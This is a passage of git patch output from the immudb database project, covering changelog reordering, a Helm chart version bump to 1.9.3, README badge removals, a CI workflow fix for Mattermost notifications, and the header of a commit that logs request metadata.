it's the current unflushed one - **embedded/multierr:** minor code simplification -- **embedded/sql:** bound stmt execution to a single sqltx +- **embedded/sql:** set INNER as default join type +- **embedded/sql:** minor update after rebasing - **embedded/sql:** Alter index key prefixes -- **embedded/sql:** postponing short-circuit evaluation for safetiness +- **embedded/sql:** wip rw transactions - **embedded/sql:** remove opt_unique rule to ensure proper error message - **embedded/sql:** minor code simplification -- **embedded/sql:** use order type in scanSpecs +- **embedded/sql:** kept last snapshot open - **embedded/sql:** Simplify row_reader key selection - **embedded/sql:** Better error messages when (up|in)serting data -- **embedded/sql:** method to return sql catalog +- **embedded/sql:** standardized datasource aliasing - **embedded/sql:** wip sqlTx - **embedded/sql:** de-duplicate tx attributes using tx header struct - **embedded/sql:** fix nullable values handling - **embedded/sql:** rollback token -- **embedded/sql:** limit row reader -- **embedded/sql:** use int type for limit arg -- **embedded/sql:** kept last snapshot open +- **embedded/sql:** set parsing verbose mode when instantiating sql engine - **embedded/sql:** unsafe snapshot without flushing - **embedded/sql:** reusable index entries and ignore deleted index entries -- **embedded/sql:** changes on tx closing -- **embedded/sql:** set INNER as default join type +- **embedded/sql:** bound stmt execution to a single sqltx - **embedded/sql:** delay index sync until fetching row by its pk -- **embedded/sql:** set parsing verbose mode when instantiating sql engine -- **embedded/sql:** expose Cancel method +- **embedded/sql:** changes on tx closing - **embedded/sql:** leverage metadata for logical deletion -- **embedded/sql:** standard count(*) +- **embedded/sql:** use order type in scanSpecs +- **embedded/sql:** cancel non-closed tx +- **embedded/sql:** expose Cancel method +- **embedded/sql:** wip interactive sqltx +- **embedded/sql:** limit row reader - **embedded/sql:** return map with last inserted pks -- **embedded/sql:** standardized datasource aliasing +- **embedded/sql:** use int type for limit arg - **embedded/sql:** defer execution of onClose callback -- **embedded/sql:** wip sql tx preparation - **embedded/sql:** sql engine options and validations +- **embedded/sql:** standard count(*) - **embedded/sql:** ddl stmts not counted in updatedRows -- **embedded/sql:** cancel non-closed tx +- **embedded/sql:** method to return sql catalog - **embedded/sql:** non-thread safe tx -- **embedded/sql:** wip interactive sqltx - **embedded/sql:** use current db from ongoing tx -- **embedded/sql:** minor update after rebasing -- **embedded/sql:** wip rw transactions +- **embedded/sql:** postponing short-circuit evaluation for safetiness +- **embedded/sql:** wip sql tx preparation - **embedded/store:** entryDigest calculation including key len +- **embedded/store:** conservative read conflict validation - **embedded/store:** non-thread safe ongoing tx - **embedded/store:** wip tx header versioning - **embedded/store:** expose ExistKeyWithPrefix in OngoingTx @@ -1586,36 +1637,35 @@ All notable changes to this project will be documented in this file. This projec - **embedded/store:** set tx as closed even on failed attempts - **embedded/store:** strengthen tx validations - **embedded/store:** GetWith method accepting filters -- **embedded/store:** conservative read conflict validation -- **embedded/store:** remove currentShapshot method - **embedded/store:** handle watchersHub closing error -- **embedded/store:** threadsafe tx +- **embedded/store:** remove currentShapshot method - **embedded/store:** tx header version validations and increased max number of entries -- **embedded/store:** ongoing tx api +- **embedded/store:** threadsafe tx - **embedded/store:** filter out entries when filter evals to true +- **embedded/store:** ongoing tx api - **embedded/store:** early tx conflict checking - **embedded/store:** simplified ExistKeyWithPrefix in current snapshot - **embedded/store:** reorder tx validations - **embedded/tbtree:** remove ts from snapshot struct -- **embedded/tools:** upgrade stress tool using write-only txs -- **embedded/tools:** update stress_tool after metadata-related changes - **embedded/tools:** upgrade sql stress tool +- **embedded/tools:** update stress_tool after metadata-related changes +- **embedded/tools:** upgrade stress tool using write-only txs - **pkg/api:** consider nil case during tx header serialization - **pkg/api:** changes in specs to include new metadata records - **pkg/api/schema:** increase supported types when converting to sql values +- **pkg/client:** updates after metadata-related changes +- **pkg/client:** avoid useless tokenservice call and add tests - **pkg/client:** check if token is present before injecting it - **pkg/client:** omit deleted flag during value decoding -- **pkg/client:** avoid useless tokenservice call and add tests -- **pkg/client:** updates after metadata-related changes - **pkg/client/clienttest:** fix immuclient mock - **pkg/client/tokenservice:** handlig error properly on token interceptor and fix leftovers -- **pkg/database:** snapshots should be up to current committed tx -- **pkg/database:** implement current functionality with new tx supportt -- **pkg/database:** enforce verifiableSQLGet param validation +- **pkg/database:** updates after metadata-related changes - **pkg/database:** improve readability of Database interface +- **pkg/database:** snapshots should be up to current committed tx - **pkg/database:** revised locking so to ensure gracefully closing +- **pkg/database:** implement current functionality with new tx supportt - **pkg/database:** return a specific error in querying -- **pkg/database:** updates after metadata-related changes +- **pkg/database:** enforce verifiableSQLGet param validation - **pkg/database:** use new transaction support - **pkg/database:** limit query len result - **pkg/errors:** invalid database name error converted to immuerror @@ -1627,11 +1677,11 @@ All notable changes to this project will be documented in this file. This projec - **pkg/server/sessions:** polish logger call - **pkg/server/sessions:** add sessions counter debug messages - **pkg/stdlib:** general improvements and polishments +- **pkg/stdlib:** remove context injection when query or exec - **pkg/stdlib:** improve connection handling and allow ssl mode in connection string -- **pkg/stdlib:** increase pointer values handling and testing - **pkg/stdlib:** fix unit testing -- **pkg/stdlib:** remove context injection when query or exec - **pkg/stdlib:** handling nil pointers when converting to immudb named params +- **pkg/stdlib:** increase pointer values handling and testing - **stress_tool_sql:** add sessions and transaction mode - **stress_tool_worker_pool:** add long running stress tool - **test:** test backward compatibility with previous release (v1.1.0) @@ -1672,10 +1722,11 @@ All notable changes to this project will be documented in this file. This projec -## [v1.1.0] - 2021-09-21 +## [v1.1.0] - 2021-09-22 ### Bug Fixes -- Update Dockerfile.alma maintainer field - Minor updates to build/RELEASING.md +- Update Dockerfile.alma maintainer field +- **CI:** Fix building and releasing almalinux images - **Dockerfile:** Fix compiling version information in docker images - **Dockerfile.rndpass:** Fix building rndpass docker image - **embedded/sql:** suffix endKey when scan over all entries @@ -1697,102 +1748,103 @@ All notable changes to this project will be documented in this file. This projec - **pkg/stdlib:** fix driver connection releasing ### Changes -- Add documentation link to command line help outputs -- Add documentation link at the beginning of README.md -- remove wip warning for fully implemented features -- Update codenotary maintainer info - Update RELEASING.md with documentation step. +- remove wip warning for fully implemented features - Add documentation badge to README.md +- Add documentation link at the beginning of README.md +- Add documentation link to command line help outputs +- Update codenotary maintainer info +- Remove experimental S3 warning from README - **CI:** Build almalinux-based immudb image -- **CI:** Use buildkit when building docker images - **CI:** Explicitly require bash in gh action building docker images -- **Dockerfile:** Remove unused IMMUDB_DBNAME env var -- **Dockerfile:** Update base docker images +- **CI:** Use buildkit when building docker images - **Dockerfile:** Build a debian-based image for immudb next to the scratch one - **Dockerfile:** Use scratch as a base for immudb image +- **Dockerfile:** Remove unused IMMUDB_DBNAME env var +- **Dockerfile:** Update base docker images - **Makefile:** More explicit webconsole version - **Makefile:** Add darwin/amd64 target - **build.md:** Add info about removing webconsole/dist folder -- **cmd/immuadmin:** improve flag description and rollback args spec -- **cmd/immuadmin:** parse all db flags when preparing settings - **cmd/immuadmin:** remove replication flag shortcut +- **cmd/immuadmin:** parse all db flags when preparing settings +- **cmd/immuadmin:** improve flag description and rollback args spec - **cmd/immuclient:** display number of updated rows as result of sql exec - **cmd/immudb:** use common replication prefix - **docker:** Update generation of docker tags - **embedded:** leverage kv constraint to enforce upsert over auto-incremental pk requires row to already exist - **embedded/multierr:** enhace multi error implementation -- **embedded/sql:** minor code refactoring +- **embedded/sql:** fix primary key supported types error message - **embedded/sql:** get rid of limited joint implementation -- **embedded/sql:** mark catalog as mutated when using auto incremental pk -- **embedded/sql:** catalog loading requires up to date data store indexing -- **embedded/sql:** fix max key length validation +- **embedded/sql:** ignore null values when encoding row +- **embedded/sql:** include constraint only when insert occurs without auto_incremental pk - **embedded/sql:** wip scan optimizations based on query condition and sorting - **embedded/sql:** partial progress on selector range calculation - **embedded/sql:** partial progress on selector range calculation - **embedded/sql:** expose primary key index id -- **embedded/sql:** fix primary key supported types error message -- **embedded/sql:** changed identifiers length in catalog -- **embedded/sql:** ignore null values when encoding row +- **embedded/sql:** leverage endKey to optimize indexing scanning +- **embedded/sql:** minor code refactoring +- **embedded/sql:** mark catalog as mutated when using auto incremental pk +- **embedded/sql:** fix max key length validation +- **embedded/sql:** catalog loading requires up to date data store indexing +- **embedded/sql:** optional parenthesis when specifying single-column index - **embedded/sql:** disable TIMESTAMP data-type - **embedded/sql:** move index selection closer to data source in query statements -- **embedded/sql:** move index spec closer to ds -- **embedded/sql:** include constraint only when insert occurs without auto_incremental pk - **embedded/sql:** optimize integer key mapping - **embedded/sql:** use plain big-endian encoding for integer values - **embedded/sql:** include support for int64 parameters - **embedded/sql:** minor refactoring to simplify code -- **embedded/sql:** leverage endKey to optimize indexing scanning +- **embedded/sql:** minor code simplification - **embedded/sql:** use int64 as value holder for INTEGER type - **embedded/sql:** add further validations when encoding values as keys -- **embedded/sql:** remove join constraints +- **embedded/sql:** move index spec closer to ds - **embedded/sql:** reserve byte to support multi-ordered indexes -- **embedded/sql:** minor code simplification - **embedded/sql:** index prefix function - **embedded/sql:** use Cols as a replacement for ColsByID +- **embedded/sql:** changed identifiers length in catalog - **embedded/sql:** validate non-null pk when decoding index entry - **embedded/sql:** limit upsert to tables without secondary indexes -- **embedded/sql:** optional parenthesis when specifying single-column index +- **embedded/sql:** remove join constraints - **embedded/sql:** convert unmapIndexedRow into unmapRow with optional indexed value - **embedded/tbtree:** typo in log message - **embedded/tbtree:** compaction doesn't need snapshots to be closed -- **embedded/tbtree:** adjust seekKey based on prefix even when a value is set - **embedded/tbtree:** return kv copies +- **embedded/tbtree:** adjust seekKey based on prefix even when a value is set - **embedded/tools:** update sql stress tool with exec summary +- **pkg/api:** changed db identifiers type - **pkg/api:** use fresh id in proto message - **pkg/api:** use a map for holding latest auto-incremental pks -- **pkg/api:** include updated rows and last inserted pks in sql exec result - **pkg/api:** use int64 as value holder for INTEGER type - **pkg/api:** use follower naming for replication credentials -- **pkg/api:** changed db identifiers type +- **pkg/api:** include updated rows and last inserted pks in sql exec result - **pkg/api:** delete deprecated clean operation -- **pkg/client:** move unit testing to integration package to avoid circular references - **pkg/client:** changed db identifiers type -- **pkg/database:** minor adjustments based on multi-column indexing +- **pkg/client:** move unit testing to integration package to avoid circular references +- **pkg/database:** warn about data migration needed - **pkg/database:** minor refactoring coding conventions -- **pkg/database:** create sql db instance if not present - **pkg/database:** remove active replication options from database -- **pkg/database:** display as unique if there is a single-column index +- **pkg/database:** create sql db instance if not present +- **pkg/database:** minor adjustments based on multi-column indexing - **pkg/database:** update integration to exec summary +- **pkg/database:** display as unique if there is a single-column index - **pkg/database:** include updated rows and last inserted pks in sql exec result - **pkg/database:** warn about data migration needed -- **pkg/database:** warn about data migration needed - **pkg/database:** minor renaming after rebase - **pkg/pgsql/server:** adds pgsql server maxMsgSize 32MB limit - **pkg/pgsql/server:** add a guard on payload message len -- **pkg/replication:** use new context for each client connection - **pkg/replication:** handle disconnection only within a single thread +- **pkg/replication:** use new context for each client connection - **pkg/replication:** use info log level for network failures -- **pkg/server:** use replica wording +- **pkg/server:** followers management - **pkg/server:** validate replication settings +- **pkg/server:** nil tlsConfig on default options - **pkg/server:** change max concurrency per database to 30 - **pkg/server:** changed default db file size and make it customizable at db creation time -- **pkg/server:** followers management -- **pkg/server:** nil tlsConfig on default options +- **pkg/server:** use replica wording - **pkg/stdLib:** implementing golang standard sql interfaces -- **pkg/stdlib:** increase code coverage and fix blob results scan - **pkg/stdlib:** remove pinger interface implementation and increase code coverage -- **pkg/stdlib:** simplified and hardened uri handling +- **pkg/stdlib:** increase code coverage and fix blob results scan - **pkg/stdlib:** immuclient options identifier(uri) is used to retrieve cached connections +- **pkg/stdlib:** simplified and hardened uri handling ### Features - Dockerfile for almalinux based image @@ -2041,156 +2093,151 @@ All notable changes to this project will be documented in this file. This projec - **pkg/sql:** resolve shift/reduce conflict in SELECT stmt ### Changes -- fix rebase leftovers +- move concrete class dblist to database package - fix makefile leftovers - bundle webconsole inside dist binaries - improved make dist script -- fix acronym uppercase +- reword wire compatibility - increase coverage and minor fix -- README SDK description and links ([#717](https://github.com/vchain-us/immudb/issues/717)) -- github workflow to run stress_tool ([#714](https://github.com/vchain-us/immudb/issues/714)) +- make roadmap about pgsql wire more explicit ([#723](https://github.com/vchain-us/immudb/issues/723)) - blank line needed after tag or interpreted as comment -- move concrete class dblist to database package -- dblist interface is moved to database package and extended - add pgsql related flags +- fix rebase leftovers - inject immudb user authentication -- fix immugw support - expose missing methods to REST ([#725](https://github.com/vchain-us/immudb/issues/725)) -- make roadmap about pgsql wire more explicit ([#723](https://github.com/vchain-us/immudb/issues/723)) +- fix acronym uppercase - revert 3114f927adf4a9b62c4754d42da88173907a3a9f in order to allow insecure connection on grpc server -- reword wire compatibility -- **cmd/immuclient:** add describe, list, exec and query commands to immuclient shell +- dblist interface is moved to database package and extended - **cmd/immuclient:** query result rendering - **cmd/immuclient:** render raw values +- **cmd/immuclient:** add describe, list, exec and query commands to immuclient shell - **cmd/immudb:** add debug info env var details -- **cmd/immudb/command:** enabled pgsql server only in command package - **cmd/immudb/command:** restore missing pgsql cmd flag +- **cmd/immudb/command:** enabled pgsql server only in command package - **cmd/immudb/command:** handle tls configuration errors - **cmd/immudb/command:** remove parsing path option in unix - **embedded/cache:** thread-safe lru-cache -- **embedded/sql:** improved nullables -- **embedded/sql:** skip tabs -- **embedded/sql:** move sql engine under embedded package -- **embedded/sql:** safer support for selected database - **embedded/sql:** minor refactoring to expose functionality needed for row verification +- **embedded/sql:** keep one snapshot open and close when releasing - **embedded/sql:** case insensitive functions -- **embedded/sql:** set 'x' as blob prefix +- **embedded/sql:** move sql engine under embedded package +- **embedded/sql:** resolve query with current snapshot if readers are still open +- **embedded/sql:** case insensitive identifiers - **embedded/sql:** store non-null values and only col ids on encoded rows -- **embedded/sql:** keep one snapshot open and close when releasing - **embedded/sql:** expose functionality needed for row verification +- **embedded/sql:** improved nullables +- **embedded/sql:** safer support for selected database +- **embedded/sql:** skip tabs +- **embedded/sql:** set 'x' as blob prefix - **embedded/sql:** validate table is empty before index creation -- **embedded/sql:** resolve query with current snapshot if readers are still open -- **embedded/sql:** case insensitive identifiers -- **embedded/store:** use specified sync mode also for the incremental hash tree -- **embedded/store:** index info to return latest indexed tx -- **embedded/store:** use indexer state to terminate indexing goroutine - **embedded/store:** log during compaction -- **embedded/store:** pausable indexer +- **embedded/store:** use indexer state to terminate indexing goroutine - **embedded/store:** commitWith callback using KeyIndex interface +- **embedded/store:** pausable indexer +- **embedded/store:** index info to return latest indexed tx - **embedded/tbree:** postpone reader initialization until first read +- **embedded/tbtree:** index compaction if there is not opened snapshot, open snapshot if compaction is not in already in progress - **embedded/tbtree:** remove dots denoting progress when flushing is not needed - **embedded/tbtree:** make snapshot thread-safe -- **embedded/tbtree:** index compaction if there is not opened snapshot, open snapshot if compaction is not in already in progress - **embedded/watchers:** cancellable wait -- **pkg/api:** render varchar as quoted strings -- **pkg/api:** sql api spec -- **pkg/api:** render varchar as quoted string - **pkg/api:** render varchar as raw string value +- **pkg/api:** render varchar as quoted string - **pkg/api:** include data needed for row verification +- **pkg/api:** render varchar as quoted strings +- **pkg/api:** sql api spec - **pkg/api/schema:** Handle tools via modules ([#726](https://github.com/vchain-us/immudb/issues/726)) - **pkg/auth:** add SQL-related permissions - **pkg/auth:** perm spec for row verification endpoint +- **pkg/client:** use to fetch current database name - **pkg/client:** auto convert numeric values to uint64 - **pkg/client:** improved sql API -- **pkg/client:** use to fetch current database name - **pkg/client:** remove deprecated operations - **pkg/client/cache:** release lock only if locked file is present, and wait for unlock when already present -- **pkg/client/clienttest:** add VerifiedGetAt mock method -- **pkg/database:** add missing copy -- **pkg/database:** return mapped row values -- **pkg/database:** typed-value proto conversion -- **pkg/database:** improved parameters support - **pkg/database:** ensure rowReader get closed upon completion -- **pkg/database:** row verification against kv-entries -- **pkg/database:** upgrade wait for indexing api -- **pkg/database:** towards prepared sql query support -- **pkg/database:** make use of UseDatabase operation -- **pkg/database:** support index compaction with sql engine in place - **pkg/database:** close sql engine when db gets closed -- **pkg/database:** support for nullable values +- **pkg/database:** support index compaction with sql engine in place +- **pkg/database:** typed-value proto conversion - **pkg/database:** set implicit database using `UseDatabase` method -- **pkg/database:** use store-level snapshots +- **pkg/database:** support for nullable values +- **pkg/database:** add missing copy - **pkg/database:** use MaxKeyScanLimit to limit query results +- **pkg/database:** row verification against kv-entries +- **pkg/database:** return mapped row values +- **pkg/database:** towards prepared sql query support +- **pkg/database:** upgrade wait for indexing api - **pkg/database:** upgrade ExecAll to use KeyIndex interface +- **pkg/database:** improved parameters support - **pkg/database:** support multi-selected columns +- **pkg/database:** use store-level snapshots +- **pkg/database:** make use of UseDatabase operation - **pkg/embedded:** introduce Snapshot at Store level +- **pkg/pgsql:** handle parameter status and terminate messages +- **pkg/pgsql:** bind immudb sql engine - **pkg/pgsql:** handle empty response and command complete message - **pkg/pgsql:** fix filename format -- **pkg/pgsql:** bind immudb sql engine -- **pkg/pgsql:** use options flag to determine if pgsql server need to be launched - **pkg/pgsql:** add pgsql server wire protocol stub -- **pkg/pgsql:** handle parameter status and terminate messages +- **pkg/pgsql:** use options flag to determine if pgsql server need to be launched - **pkg/pgsql/client:** add jackc/pgx pgsql client for testing purpose -- **pkg/pgsql/server:** improve error handling when client message is not recognized -- **pkg/pgsql/server:** fix connection upgrade pgsql protocol messages -- **pkg/pgsql/server:** handle an ssl connection request if no certificate is present on server +- **pkg/pgsql/server:** minor fixes and leftovers - **pkg/pgsql/server:** enforce reserved statements checks -- **pkg/pgsql/server:** move sysdb in session constructor +- **pkg/pgsql/server:** fix connection upgrade pgsql protocol messages - **pkg/pgsql/server:** remove host parameter +- **pkg/pgsql/server:** limit number of total connections and do not stop server in case of errors - **pkg/pgsql/server:** add missing copyright -- **pkg/pgsql/server:** default error in simplequery loop has error severity -- **pkg/pgsql/server:** protect simple query flow with a mutex - **pkg/pgsql/server:** handle version statement -- **pkg/pgsql/server:** limit number of total connections and do not stop server in case of errors +- **pkg/pgsql/server:** default error in simplequery loop has error severity - **pkg/pgsql/server:** add debug logging messages, split session handling in multiple files -- **pkg/pgsql/server:** minor fixes and leftovers -- **pkg/server:** remove tls configuration in server -- **pkg/server:** fix db mock -- **pkg/server:** use systemdb as a shared catalog store +- **pkg/pgsql/server:** improve error handling when client message is not recognized +- **pkg/pgsql/server:** move sysdb in session constructor +- **pkg/pgsql/server:** protect simple query flow with a mutex +- **pkg/pgsql/server:** handle an ssl connection request if no certificate is present on server - **pkg/server:** inject sqlserver in main immudb server +- **pkg/server:** fix db mock +- **pkg/server:** remove unused options - **pkg/server:** load systemdb before any other db +- **pkg/server:** use systemdb as a shared catalog store +- **pkg/server:** remove tls configuration in server - **pkg/server:** renamed server reference -- **pkg/server:** remove unused options +- **pkg/sql:** many internal adjustments related to name binding +- **pkg/sql:** row reader used to close the snapshot once reading is completed - **pkg/sql:** refactored AggregatedValue and TypedValue interfaces +- **pkg/sql:** unify augmented and grouped row readers +- **pkg/sql:** support for SUM aggregations +- **pkg/sql:** row reader to support GROUP BY behaviour - **pkg/sql:** grammar adjustments to support aggregated columns - **pkg/sql:** swap LIMIT and ORDER BY parse ordering -- **pkg/sql:** row reader to support GROUP BY behaviour -- **pkg/sql:** make row values externally accessible -- **pkg/sql:** support for SUM aggregations +- **pkg/sql:** alias overriding datasource name +- **pkg/sql:** joint column with explicit table reference +- **pkg/sql:** support multiple spacing between statements - **pkg/sql:** upgrade to new store commit api -- **pkg/sql:** unify augmented and grouped row readers +- **pkg/sql:** towards catalog encapsulation - **pkg/sql:** column descriptors in row readers - **pkg/sql:** improve error handling - **pkg/sql:** return ErrNoMoreRows when reading -- **pkg/sql:** row reader used to close the snapshot once reading is completed -- **pkg/sql:** many internal adjustments related to name binding -- **pkg/sql:** alias overriding datasource name -- **pkg/sql:** joint column with explicit table reference +- **pkg/sql:** improved null value support +- **pkg/sql:** order-preserving result set +- **pkg/sql:** using new KeyReaderSpec +- **pkg/sql:** ensure use snapshot is on the range of committed txs - **pkg/sql:** joins limited to INNER type and equality comparison against ref table PK - **pkg/sql:** add comment about nested joins -- **pkg/sql:** mapping using ids, ordering and renaming support +- **pkg/sql:** use token IDENTIFIER - **pkg/sql:** composite readers - **pkg/sql:** wip multiple readers - **pkg/sql:** catch store indexing errors - **pkg/sql:** add generated sql parser -- **pkg/sql:** support multiple spacing between statements +- **pkg/sql:** make row values externally accessible - **pkg/sql:** remove offset param - **pkg/sql:** value-less indexed entries - **pkg/sql:** encoded value with pk entry - **pkg/sql:** remove alter column stmt - **pkg/sql:** inmem catalog with table support - **pkg/sql:** inmem catalog -- **pkg/sql:** towards catalog encapsulation +- **pkg/sql:** catalog construct - **pkg/sql:** primary key supported type validation - **pkg/sql:** use standardized transaction closures - **pkg/sql:** col selector with resolved datasource - **pkg/sql:** case insensitive reserved words -- **pkg/sql:** use token IDENTIFIER -- **pkg/sql:** improved null value support -- **pkg/sql:** order-preserving result set -- **pkg/sql:** using new KeyReaderSpec -- **pkg/sql:** ensure use snapshot is on the range of committed txs -- **pkg/sql:** catalog construct +- **pkg/sql:** mapping using ids, ordering and renaming support - **tools/stream:** upgrade stream tools dependencies ### Code Refactoring @@ -2292,7 +2339,7 @@ All notable changes to this project will be documented in this file. This projec -## [cnlc-2.2] - 2021-04-23 +## [cnlc-2.2] - 2021-04-28 ### Bug Fixes - update Discord invite link - readme typo and mascot placement ([#693](https://github.com/vchain-us/immudb/issues/693)) @@ -2300,11 +2347,16 @@ All notable changes to this project will be documented in this file. This projec - **pkg/client:** delete token file on logout only if the file exists ### Changes -- Add roadmap - Add benchmark to README (based on 0.9.x) ([#706](https://github.com/vchain-us/immudb/issues/706)) +- github workflow to run stress_tool ([#714](https://github.com/vchain-us/immudb/issues/714)) +- README SDK description and links ([#717](https://github.com/vchain-us/immudb/issues/717)) +- fix immugw support +- Add roadmap - remove grpc term from token expiration description - **embedded/store:** check latest indexed tx is not greater than latest committed one +- **embedded/store:** use specified sync mode also for the incremental hash tree - **embedded/store:** defer lock releasing +- **pkg/client/clienttest:** add VerifiedGetAt mock method - **pkg/database:** use newly exposed KeyReaderSpec ### Features @@ -2951,7 +3003,6 @@ All notable changes to this project will be documented in this file. This projec ## [v0.8.0] - 2020-09-15 ### Bug Fixes -- fix immudb and immugw version and mangen commands errors Without this change, while immuclient and immuadmin still worked as expected, immudb and immugw version and mangen commands were throwing the following error: ./immugw version Error: flag accessed but not defined: config Usage: immugw version [flags] - **pkg/client:** setBatch creates structured values ### Changes @@ -2980,6 +3031,7 @@ All notable changes to this project will be documented in this file. This projec ## [v0.7.1] - 2020-08-17 ### Bug Fixes +- fix immudb and immugw version and mangen commands errors Without this change, while immuclient and immuadmin still worked as expected, immudb and immugw version and mangen commands were throwing the following error: ./immugw version Error: flag accessed but not defined: config Usage: immugw version [flags] - fix immuclient audit-mode - **cmd/immuadmin/command:** fix immuadmin dbswitch - **pkg/client:** token service manages old token format @@ -3827,7 +3879,10 @@ All notable changes to this project will be documented in this file. This projec - **tree:** MTH reference impl -[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.9DOM.1...HEAD +[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.9.3...HEAD +[v1.9.3]: https://github.com/vchain-us/immudb/compare/v1.9DOM.2...v1.9.3 +[v1.9DOM.2]: https://github.com/vchain-us/immudb/compare/v1.9DOM.2-RC1...v1.9DOM.2 +[v1.9DOM.2-RC1]: https://github.com/vchain-us/immudb/compare/v1.9DOM.1...v1.9DOM.2-RC1 [v1.9DOM.1]: https://github.com/vchain-us/immudb/compare/v1.9DOM.1-RC1...v1.9DOM.1 [v1.9DOM.1-RC1]: https://github.com/vchain-us/immudb/compare/v1.9DOM.0...v1.9DOM.1-RC1 [v1.9DOM.0]: https://github.com/vchain-us/immudb/compare/v1.9DOM...v1.9DOM.0 diff --git a/helm/Chart.yaml b/helm/Chart.yaml index d672de2587..ee36d2b9d0 100644 --- a/helm/Chart.yaml +++ b/helm/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: immudb description: The immutable database type: application -version: 1.9DOM.2 -appVersion: "1.9DOM.2" +version: 1.9.3 +appVersion: "1.9.3" From 302e84883569ffb49a2aa7045b99d993456e1e34 Mon Sep 17 00:00:00 2001 From: moshix Date: Fri, 24 May 2024 05:55:19 -0500 Subject: [PATCH 1027/1062] Update README.md --- README.md | 4 ---- 1 file changed, 4 deletions(-) diff --git a/README.md b/README.md index a92a4b1fdf..967bc018fa 100644 --- a/README.md +++ b/README.md @@ -13,15 +13,11 @@ custom_edit_url: https://github.com/codenotary/immudb/edit/master/README.md [![Documentation](https://img.shields.io/website?label=Docs&url=https%3A%2F%2Fdocs.immudb.io%2F)](https://docs.immudb.io/) [![Build Status](https://github.com/codenotary/immudb/actions/workflows/push.yml/badge.svg)](https://github.com/codenotary/immudb/actions/workflows/push.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/codenotary/immudb)](https://goreportcard.com/report/github.com/codenotary/immudb) -[![Coverage](https://coveralls.io/repos/github/codenotary/immudb/badge.svg?branch=master&kill_cache=1)](https://coveralls.io/github/codenotary/immudb?branch=master&kill_cache=1) [![View SBOM](https://img.shields.io/badge/sbom.sh-viewSBOM-blue?link=https%3A%2F%2Fsbom.sh%2F37cbffcf-1bd3-4daf-86b7-77deb71575b7)](https://sbom.sh/37cbffcf-1bd3-4daf-86b7-77deb71575b7) [![Homebrew](https://img.shields.io/homebrew/v/immudb)](https://formulae.brew.sh/formula/immudb) -[![Mentioned in Awesome Go](https://awesome.re/mentioned-badge.svg)](https://github.com/avelino/awesome-go) [![Discord](https://img.shields.io/discord/831257098368319569)](https://discord.gg/EWeCbkjZVu) [![Immudb Careers](https://img.shields.io/badge/careers-We%20are%20hiring!-blue?style=flat)](https://www.codenotary.com/job) -[![Tweet about -immudb!](https://img.shields.io/twitter/url/http/shields.io.svg?style=social&label=Tweet%20about%20immudb)](https://twitter.com/intent/tweet?text=immudb:%20lightweight,%20high-speed%20immutable%20database!&url=https://github.com/codenotary/immudb) [![Artifact Hub](https://img.shields.io/endpoint?url=https://artifacthub.io/badge/repository/codenotary)](https://artifacthub.io/packages/search?repo=codenotary) Don't forget to ⭐ this repo if you like immudb! From 5f3ddfe8c8eb6575ae4292ded3ac1f48d86371a6 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 24 May 2024 13:13:33 +0200 Subject: [PATCH 1028/1062] Remove license badge --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 967bc018fa..f41c98f206 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,8 @@ custom_edit_url: https://github.com/codenotary/immudb/edit/master/README.md --> -# immudb [![License](https://img.shields.io/github/license/codenotary/immudb)](LICENSE) +# immudb + [![Documentation](https://img.shields.io/website?label=Docs&url=https%3A%2F%2Fdocs.immudb.io%2F)](https://docs.immudb.io/) [![Build Status](https://github.com/codenotary/immudb/actions/workflows/push.yml/badge.svg)](https://github.com/codenotary/immudb/actions/workflows/push.yml) From 8de95c52068ac6d7cbf16b00c186d5a460791d33 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 24 May 2024 08:31:35 +0200 Subject: [PATCH 1029/1062] fix: set mattermost payload --- .github/workflows/stress.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/stress.yml b/.github/workflows/stress.yml index 6869fed0a1..9d99762c14 100644 --- a/.github/workflows/stress.yml +++ b/.github/workflows/stress.yml @@ -49,10 +49,11 @@ jobs: | Entries: 1M - Workers: 50 - Batch: 1k - Batches: 20 | ${{ steps.e_1m_w_50_b_1k_bs_20.outcome }} | ${{ env.duration_2 }}s |\n | Entries: 1M - Workers: 100 - Batch: 1k - Batches: 10 | ${{ steps.e_1m_w_100_b_1k_bs_10.outcome }} | ${{ env.duration_3 }}s |\n **Check details [here](${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }})** - \"}" > mattermost.json + \"}" > mattermost.json && echo MM_PAYLOAD=$(cat mattermost.json) >> $GITHUB_ENV - name: Notify on immudb channel on Mattermost if: github.event.schedule == '0 0 * * *' uses: mattermost/action-mattermost-notify@master with: MATTERMOST_WEBHOOK_URL: ${{ secrets.MATTERMOST_WEBHOOK_URL }} MATTERMOST_CHANNEL: 'immudb-tests' + PAYLOAD: ${{ env.MM_PAYLOAD }} From a741ec957dfe78caaa9a64eeb8be5860935d9e9c Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Thu, 30 May 2024 10:04:51 +0200 Subject: [PATCH 1030/1062] Log request information as transaction metadata Signed-off-by: Stefano Scafiti --- cmd/immudb/command/init.go | 1 + cmd/immudb/command/parse_options.go | 4 +- embedded/store/immustore.go | 3 +- embedded/store/ongoing_tx.go | 2 +- embedded/store/tx_metadata.go | 4 + pkg/api/schema/metadata.go | 101 +++++++++++++++++++++ pkg/api/schema/metadata_test.go | 58 ++++++++++++ pkg/auth/passwords.go | 6 +- pkg/auth/serverinterceptors.go | 6 +- pkg/auth/user.go | 30 +++--- pkg/database/all_ops.go | 1 - pkg/database/database.go | 67 +++++++++++--- pkg/database/sql.go | 10 ++ pkg/integration/client_test.go | 32 +++++++ pkg/pgsql/server/initialize_session.go | 1 + pkg/pgsql/server/options.go | 6 ++ pkg/pgsql/server/query_machine.go | 14 ++- pkg/pgsql/server/server.go | 23 ++--- pkg/pgsql/server/session.go | 68 ++++++++++---- pkg/server/options.go | 7 ++ pkg/server/request_metadata_interceptor.go | 80 ++++++++++++++++ pkg/server/server.go | 6 +- pkg/server/servertest/server.go | 2 + 23 files changed, 466 insertions(+), 66 deletions(-) create mode 100644 pkg/api/schema/metadata.go create mode 100644 pkg/api/schema/metadata_test.go create mode 100644 pkg/server/request_metadata_interceptor.go diff --git 